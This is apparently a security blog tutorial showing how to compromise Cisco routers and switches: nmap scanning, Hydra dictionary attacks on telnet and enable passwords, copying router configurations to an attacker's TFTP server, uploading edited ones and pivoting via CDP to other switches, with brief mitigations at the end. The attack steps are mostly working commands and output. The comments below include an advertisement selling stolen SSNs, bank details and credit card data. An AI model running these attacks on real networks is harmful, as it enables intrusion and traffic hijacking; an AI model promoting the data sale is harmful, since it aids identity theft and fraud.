This is not the only way that attackers can traverse the network, silently expanding their domain of control. It is also possible to use other devices to expand control of the network, from switches, to PBXs, to multifunction printers.
Recently I have been studying CTP from Offensive Security, which mainly covers advanced Windows attacks, but which also has one module on compromising a Cisco border-router. The techniques of this hack involve using spoofed SNMP packets, to change the configuration of a border-router from the outside, and set-up a GRE tunnel to implement a full-blown MITM attack across the internet (This is a pretty devastating attack. For more detail you will have to sign up for that course I'm afraid ;o)
Switches and routers can be relatively easy to find. Starting with the default gateway for example (this is usually the closest router). Also, running a simple traceroute command, will give us a chain of routers through which network traffic will traverse.
Once we have the target IPs, port scanning often works well, as the following namp example shows:
nmap -sTV 192.168.1.202
Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-02-10 22:59 GMT
Nmap scan report for 192.168.1.202
Host is up (0.14s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
23/tcp open telnet Cisco router
80/tcp open http Cisco IOS http config
MAC Address: CC:00:07:28:15:03 (Unknown)
Service Info: OS: IOS; Device: router
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.31 seconds
So, we can see this system is a Cisco router, and I have highlighted in red, that this router has both HTTP and Telnet enabled.
This is historically the norm, but in secure environments organizations should be looking to deploy better solutions such as HTTPS and SSH for router access and configuration.
Attacking the first router
Once we have found a router to attack, in this example we will use THC Hydra to dictionary-attack this router to find the password.
hydra 192.168.1.202 cisco -s 23 -P knownpass.txt -t 1 -w 2
Hydra v5.9 (c) 2010 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2011-02-10 22:02:53
[DATA] 1 tasks, 1 servers, 46 login tries (l:1/p:46), ~46 tries per task
[DATA] attacking service cisco on port 23
Process 7480: Can not connect [timeout], process exiting
[23][cisco] host: 192.168.1.202 login: password: secretpass
[STATUS] attack finished for 192.168.1.202 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2011-02-10 22:03:04
This only took a few seconds, and the login password is found, so using that initial information, we can now start a further attack, to find the "enable" password.
hydra 192.168.1.202 cisco-enable -s 23 -l secretpass -P knownpass.txt -t 1 -w 2
Warning: You did not supply the initial support to the Cisco via -l, assuming direct console access
Hydra v5.9 (c) 2010 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2011-02-10 22:03:40
[DATA] 1 tasks, 1 servers, 46 login tries (l:1/p:46), ~46 tries per task
[DATA] attacking service cisco-enable on port 23
[23][cisco-enable] host: 192.168.1.202 login: secretpass password: bigsecretpass
[STATUS] attack finished for 192.168.1.202 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2011-02-10 22:03:50
Note how Cisco devices don't need a user/password combination for Telnet, just a password. This can make dictionary attacks much easier and quicker to perform, just using a single dictionary file, rather than combinations.
Now that we know both the passwords for this device, we can login and continue our attack.
Pwning the configuration
Next we will setup an TFTP server on our attacking Backtrack system (which we can use for file transfers)
atftpd --daemon --port 69 /tmp/
netstat -anup | grep ":69"
udp 0 0 0.0.0.0:69 0.0.0.0:* 7487/atftpd
Then, from the router, lets take a copy of the running configuration to our attacking TFTP server
RouterA#copy running-config tftp://192.168.2.62/stolen.conf
Address or name of remote host [192.168.2.62]?
Destination filename [stolen.conf]?
!!
1062 bytes copied in 7.352 secs (144 bytes/sec)
RouterA#
Now we own the configuration
Switch and router configurations like this can contain lots of juicy information about a network, such as IP addresses and subnets used, and details of other key infrastructure.
We could now edit the switch configuration, at our leisure on our Backtrack system, and upload the edited version back up to the switch
copy tftp://192.168.2.62/edited.conf running-config
Destination filename [running-config]?
Accessing tftp://192.168.2.62/edited.conf...
Loading edited.conf from 192.168.2.62 (via FastEthernet0/0): !
[OK - 1124 bytes]
This can be used for devastating attacks.
Know your neighbors
Let's use the Cisco discovery protocol to find more switches that are connected to this initially compromised switch. We'll use the CDP protocol information that the switch already has, write that info to a file, and offload it to our TFTP server for more analysis.
RouterA#show cdp neighbors detail | redirect flash:/cdp.txt
RouterA#dir
Directory of flash:/
7864316 bytes total (7855544 bytes free)
RouterA#
RouterA#copy cdp.txt tftp://192.168.2.62/cdp.txt
Address or name of remote host [192.168.2.62]?
Destination filename [cdp.txt]?
!!!
5759 bytes copied in 4.264 secs (1351 bytes/sec)
RouterA#exit
Connection closed by foreign host.
-------------------------
Device ID: RouterA
Entry address(es):
IP address: 192.168.1.202
Platform: cisco 3640, Capabilities: Router Switch
Interface: FastEthernet1/0, Port ID (outgoing port): FastEthernet0/0
Holdtime : 159 sec
Version :
Cisco Internetwork Operating System Software
IOS (tm) 3600 Software (C3640-IK9O3S-M), Version 12.3(22), RELEASE SOFTWARE (fc2)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2007 by cisco Systems, Inc.
Compiled Wed 24-Jan-07 18:02 by ccai
advertisement version: 2
VTP Management Domain: ''
Duplex: full
cat /tmp/cdp.txt | grep -A 1 "IP address"
IP address: 192.168.2.193
Platform: cisco 3640, Capabilities: Router Switch
--
IP address: 192.168.2.193
Platform: cisco 3640, Capabilities: Router Switch
--
IP address: 10.2.0.223
Platform: cisco 3640, Capabilities: Router Switch
--
IP address: 10.2.0.223
Platform: cisco 3640, Capabilities: Router Switch
--
IP address: 192.168.1.202
Platform: cisco 3640, Capabilities: Router Switch
--
IP address: 10.2.0.212
Platform: cisco 3640, Capabilities: Router Switch
--
IP address: 192.168.1.192
Platform: cisco 3640, Capabilities: Router Switch
--
IP address: 192.168.1.192
Platform: cisco 3640, Capabilities: Router Switch
--
IP address: 10.2.0.202
Platform: cisco 3640, Capabilities: Router Switch
--
IP address: 10.2.0.202
Platform: cisco 3640, Capabilities: Router Switch
So we will distill the information to find switches that are on the 192 network, and start attacking those first:
cat /tmp/cdp.txt | grep "IP address" | cut -d" " -f5 | grep 192 | sort -u
192.168.2.193
192.168.1.192
192.168.1.202
More password attacks
hydra -M routers.txt cisco -s 23 -P knownpass.txt -t 1 -w 2
Hydra v5.9 (c) 2010 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2011-02-10 21:51:34
[DATA] 1 tasks, 3 servers, 46 login tries (l:1/p:46), ~138 tries per task
[DATA] attacking service cisco on port 23
[23][cisco] host: 192.168.2.193 login: password: secretpass
[STATUS] attack finished for 192.168.2.193 (waiting for childs to finish)
[23][cisco] host: 192.168.1.192 login: password: secretpass
[STATUS] attack finished for 192.168.1.192 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2011-02-10 21:52:04
Cracking the enable password, as before...
hydra -M routers.txt cisco-enable -s 23 -l secretpass -P knownpass.txt -t 1 -w 2
Warning: You did not supply the initial support to the Cisco via -l, assuming direct console access
Hydra v5.9 (c) 2010 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2011-02-10 21:54:08
[DATA] 1 tasks, 3 servers, 46 login tries (l:1/p:46), ~138 tries per task
[DATA] attacking service cisco-enable on port 23
[23][cisco-enable] host: 192.168.2.193 login: secretpass password: bigsecretpass
[STATUS] attack finished for 192.168.2.193 (waiting for childs to finish)
[23][cisco-enable] host: 192.168.1.192 login: secretpass password: bigsecretpass
[STATUS] attack finished for 192.168.1.192 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2011-02-10 21:54:41
So, we can see that these switches have the same passwords. It could be that ALL the swtiches on this network have the same passwords. This could make life easier for the administrator (and for a malicious intruder).
What can an attacker do with switches that he controls?
Well, a hell of a lot. Once an attacker controls the configuration and access to the router and switch infrastructure, he is only limited by his imagination.
Certainly traffic can be redirected, substituted, and spoofed. Closed ports can be opened and vice versa. New networks can be created and tunneling can be performed. Passwords can be changed, devices can be reconfigured or wiped. T
Switches are as fundamental as DNS. If you own the switches and routers of a network, you pretty much own the network.
http://www.packetlevel.ch/html/cisco/ciscotcl.html
Backdoors can also be introduced and here is an example using TCL from Andy Davis:
http://packetstormsecurity.org/files/author/4553/
Mitigations
Protect the network from client-side attacks, which are increasingly the source of initial compromises Protect your switches with strong passwords/keys and secure protocols Limit access to switch configuration, with access control to a specific group of administrative systems Enable remote logging and review the logs periodically Use security reviews and testing to evaluate and improve your security posture
Good tut.
ReplyDeleteI have also joined CTP ... Can you please give me some more attack vectors regarding CISCO ...
This is just the information I am finding everywhere. Thanks for your blog, I just subscribe your blog. This is a nice blog.. best router for multiple devices
ReplyDeleteI think this is an informative post and it is very useful and knowledgeable. therefore, I would like to thank you for the efforts you have made in writing this article. best drone for kids
ReplyDeleteAwesome article, it was exceptionally helpful! I simply began in this and I'm becoming more acquainted with it better! Cheers, keep doing awesome! judi qq
ReplyDeleteHey Guys !
ReplyDeleteUSA Fresh & Verified SSN Leads with DL Number AVAILABLE with 99.9% connectivity
All Leads have genuine & valid information
**HEADERS IN LEADS**
First Name | Last Name | SSN | Dob | DL Number | Address | City | State | Zip | Phone Number | Account Number | Bank Name | Employee Details | IP Address
*Price for SSN lead $2
*You can ask for sample before any deal
*If anyone buy in bulk, we can negotiate
*Sampling is just for serious buyers
==>ACTIVE, FRESH CC & CVV FULLZ AVAILABLE<==
->$5 PER EACH
->Hope for the long term deal
->Interested buyers will be welcome
**Contact 24/7**
Whatsapp > +923172721122
Email > leads.sellers1212@gmail.com
Telegram > @leadsupplier
ICQ > 752822040